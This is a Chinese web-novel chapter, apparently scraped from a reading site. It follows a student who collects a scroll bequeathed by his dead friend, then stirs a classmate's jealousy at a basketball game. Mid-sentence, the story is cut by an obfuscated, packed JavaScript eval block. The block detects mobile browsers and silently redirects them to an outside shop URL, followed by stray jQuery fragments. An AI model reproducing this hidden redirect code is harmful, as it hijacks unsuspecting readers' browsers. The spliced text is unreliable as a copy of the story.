段予真得知沈群死讯,是从高蕊发来的一条短信里。
内容很简单,“凌晨三点二十七分,阿群走了,按照他的心愿,遗体已在今天中午进行火化。他留给你一样东西,方便了告诉阿姨,给你送过去。”
收到短信的时候是下午五点钟,他坐在教室,面前的英语作文已经写了大半,只差结尾。
段予真回复了句:我去取吧。
接着他合上笔盖,到办公室跟班主任请过假,再回到教室穿好外套,拎着书包走了出去。
在走廊里他和抱着作业的陆岳之擦肩而过,后者叫了他一声,但他没有听见。
段予真坐着出租车来到破旧的小区,沉默地从一群围坐在行道树树荫里下象棋的老人身后走过,绕开胡乱停放的车辆,走上了楼梯。
他敲开沈群家的门。客厅里已经空了,高蕊将能带走的东西全部装进行李,以至于这间房子除了少许灰尘,没留下任何生活痕迹。
高蕊眼皮红肿,仍笑着和他打招呼:“来了啊予真。进来歇会儿吗?”
段予真摇头。
高蕊也不勉强,从沈群卧室里拿出他留给段予真的遗物,是个微微褪色的卷轴。
段予真接过来,拉开看了眼,熟悉的字迹一点一点展现在眼前。
画凌烟。上甘泉。自古功名属少年。
凝视着纸面上飞扬的字迹,他忽然无声笑了。
“阿群还能说话的时候,交代我好几回,你帮他写的那幅字要跟着他一起烧掉,这张要留给你。他还让我,跟,你,说……是他,对不起你。”高蕊的声音抖得越来越厉害,豆大的泪珠接连从眼眶滚落。说到后面她连站都站不住了,手指抓紧门框,身体仍无力地不断往下瘫软。
段予真忙搀着她的胳膊将她扶起。高蕊倚靠着少年单薄的肩膀,悲从中来,扯住他的袖子,撕心裂肺地恸哭起来。
哭到后面高蕊几乎要晕厥过去。段予真扶着她到沙发上坐好,给她倒了杯水。高蕊还是难以从悲痛中回神,两手捂着脸,哭得浑身发抖。
段予真不知道她要哭到什么时候,站在一边等待许久,见高蕊逐渐从流泪转向抽噎,情绪也明显平静下来,便轻轻地说:“阿姨,那我先走了。”
高蕊模糊地应了一声。段予真抱着卷轴走出阴冷的楼道,阳光瞬间铺满全身,明晃晃刺得他睁不开眼。
段予真停下脚步,稍稍后退,在最后一级台阶坐下,将卷轴横放在腿上。在他面前不断有人经过,老年人拎着包子油条,小孩子高举心爱的玩具,父母一左一右牵住蹦跳的幼儿,年轻的情侣互相搂腰说说笑笑。
他只要站起来往前走,就能成为这些人中的一员,拥有和他们一样,平淡琐碎的喜悦与烦恼。
但是段予真暂时做不到。
太阳太刺眼了,让他头疼,想吐,胃里翻搅着,像是被一只看不见的手给拧乱了。放在腿上的卷轴压得他没力气站起身。
昨天是晴天,今天也是,都是很暖和的好天气。如果天气预报没出错的话,明天还是。
段予真低下头,捂着钝痛的额头,心想我只要再休息一会儿就好了,一小会儿就好。
沉默的深灰色影子逐渐朝他靠近,直到把他完全笼罩。段予真被遮挡在光线适宜的阴影里,不等他抬头去看,那片影子俯身将他裹住,托起,完全与他合二为一。
段予真被陆岳之打横抱着,有气无力地说:“放我下去。”
陆岳之轻轻把段予真放回地面。段予真的身体立刻就摇晃了下,陆岳之赶紧又将他搂到身前,用手臂护住:“你都站不稳了。”
“只是低血糖而已。让我缓一缓。”段予真抱紧怀里的卷轴,仿佛那才是支撑着他的依靠。
“用不用我帮你拿?”陆岳之看着被他视若珍宝的旧物。
“不用。”段予真眉头微蹙,避开他伸来的手,把卷轴护得更紧:“这是沈群的遗物,不吉利。你还是别碰了。”
到底是不吉利,还是怕被我弄脏?陆岳之心里有根刺血淋淋地突了出来。
明明是靠在他怀里,可段予真的脑中恐怕没有半点与他有关的念头。段予真还是想着沈群,继续想一直想,即使如今的沈群只剩下一把碎骨灰。
陆岳之被无边无际的悲哀淹没了。
他身披夕阳,怀抱佳人,本该是英雄传记结尾处最为圆满的一幕场景。然而事实是佳人心中另有牵挂,那是他永远、永远也取代不了的位置。如此的滑稽。
……
从沉思中回过神,陆岳之又看向眼前若无其事的段予真。
才过去短短一夜,段予真就摆脱了久治不愈的伤心,恢复健康。这样的表现让他感到困惑。
他盯得太久,而且完全没意识到自己的注视让人很不舒服。
段予真合上手中礼盒的盖子,语气隐隐不悦,挑眉回看他:“你打算盯我到什么时候?”
陆岳之沉默地转过身坐好。
体育课前的课间,段予真边往操场走,边扯开校服拉链,把外套脱了下来拿在手里。
班里几个男生围上来,领头的是校队的一个成员:“予真,要打球吗?跟我们组队呗,想怎么玩随你安排。”
上学期他们跟段予真打过一两次,对他的技术都很服气,可惜的是段予真没什么兴趣跟他们玩,课余大多数时间都和沈群走在一起。
和对待女生时的温柔不同,在男生面前,段予真流露更多的是高傲不好接近的气质。但他的傲气和陆岳之又不一样,完全源自于令人向往的,属于强者的气定神闲。
成绩好,球技好,家境好,社交能力强,还拥有着男女通杀的顶级外形。在西屏一众同龄男生看来,段予真完全就是他们最爱琢磨的那种小说男主角的配置。
这样的人,所到之处必然会掀起波澜。于是他们羡慕,妒忌,渴望,还有更多难以言说的复杂感情……私底下,他们早已在匿名群聊和校园论坛里把段予真当做话题,不厌其烦地扒了一遍又一遍。
不过在段予真面前,他们又都默契地收敛起不该暴露在他眼前的阴暗面,摆出友好态度,试图能与他亲近。
现在没有了沈群,一直守在段予真身侧的恶狗严烈似乎也跟他闹掰了,整天只会垂头丧气地在远处看着他,却不敢近身,也不再像以前那样无差别地对接近他的人狂吠。
这无疑是和段予真交朋友的好时机。
“打球可以。”段予真瞥了眼说话的人:“但是我不想和你一队。”
“啊?为什么?”男生紧张地看着他。
段予真淡淡道:“你打得太烂。”
男生顿时涨红了脸:“……予真,原来你还看过我打球啊。”
他甜蜜的幻想被段
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021221|193459||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
予真的下一句话击碎:“没有。只是你长得就像球技很烂的样子。”
说罢他就径直离去。男生愣在原地,而他的朋友们几乎没犹豫就纷纷选择丢下他,跟到了段予真身边。和他关系最铁的哥们儿还谄媚地帮段予真拿着脱下来的衣服,嘴里不停地找话题。
到了操场上,段予真更是直接被班里平常最爱打球的那帮人围在中间,你争我抢地想让他和自己组队。最后,段予真被体型最强壮的章巍搂着肩膀,挤开人群带到了自己的队伍。
陆岳之远远地望着这一切。其实他也会打篮球,而且打得不错,只是上高中以后,在校的时间他都忙于学习,从未展示过。
段予真身边密密麻麻的人群他挤不进去,被他得罪过的章巍更是不可能带他玩。
他就只能站在这里,看着。
忽然陆岳之看到段予真转头望向这边,并扬起手臂,朝他招了招手,手势随意得像是在叫一条狗。但陆岳之知道这是段予真面对严烈时养成的习惯,因此也就不至于生气了。
他走过去,站在段予真面前,闷声问:“有什么事?”
“之前打过控卫吗。”段予真手里拿着瓶章巍给的纯净水,轻轻丢给了他。
章巍随即又递过去一瓶,用审视的目光打量着陆岳之,脸上藏不住轻蔑。
陆岳之攥着水瓶:“嗯。”
“玩吗,缺个人。”段予真没个正形,懒散地半坐在章巍腿上,后背紧贴男生宽阔结实的肩膀,仰起脸,眼睛里似笑非笑。
那眼神十分轻佻,令陆岳之呼吸停滞。
一切似乎回到原点,回到了他初见段予真的那天。打扮张扬目中无人的小少爷,长了一张高贵而傲慢,会把爱慕者的真心践踏在脚下的美丽面孔。
……可你根本就不是这样的人啊,从来都不是。
陆岳之胸膛中蓦地冒出痛惜的怒火。
章巍迫不及待地说:“予真,他看起来不是很想跟我们一起玩。要不算了……”
“可以。我打控卫。”陆岳之跟段予真对视:“现在就开始吗。”
段予真始终在微笑:“别着急,还没上课呢。”
陆岳之左右看看,选择在他们两人对面的花坛边坐下。他手里忽轻忽重地拧着塑料水瓶,沉着脸看段予真倚在章巍肩上玩手机。章巍右手搂在段予真腰侧,搂得很紧,以至于带出了宽松校服底下瘦窄的腰身线条。
手指很不安分地隔着布料,反复摩挲那段窄腰。
陆岳之感觉喉咙里窜上一阵燥热的血腥气,又被他强行咽下。他组织不出合适的语言,于是警告地直直瞪着章巍。
他还没说话,章巍先不爽地问:“陆岳之,你杵在这不走是个什么意思?”
其他人即使对他霸占段予真有所不满,也都不敢表现出来,最多是呆在隐蔽的地方偷偷望着。唯独陆岳之看不懂气氛,板着张臭脸近距离盯着他们,看守犯人似的。
陆岳之还是一贯的书呆子口气:“你管不着。”
他视线黏在段予真脸上。听着他们的争执,段予真好笑地撇了撇唇角,却不曾投来一丝注意力,仍专心滑动着屏幕,更没有出言调解的意思。
开心吗?
浑身的血都灼烧着冲向头顶,陆岳之攥紧拳头从花坛边站起,恶狠狠地想,如果这样能让你开心,那我就做得更过分些好了。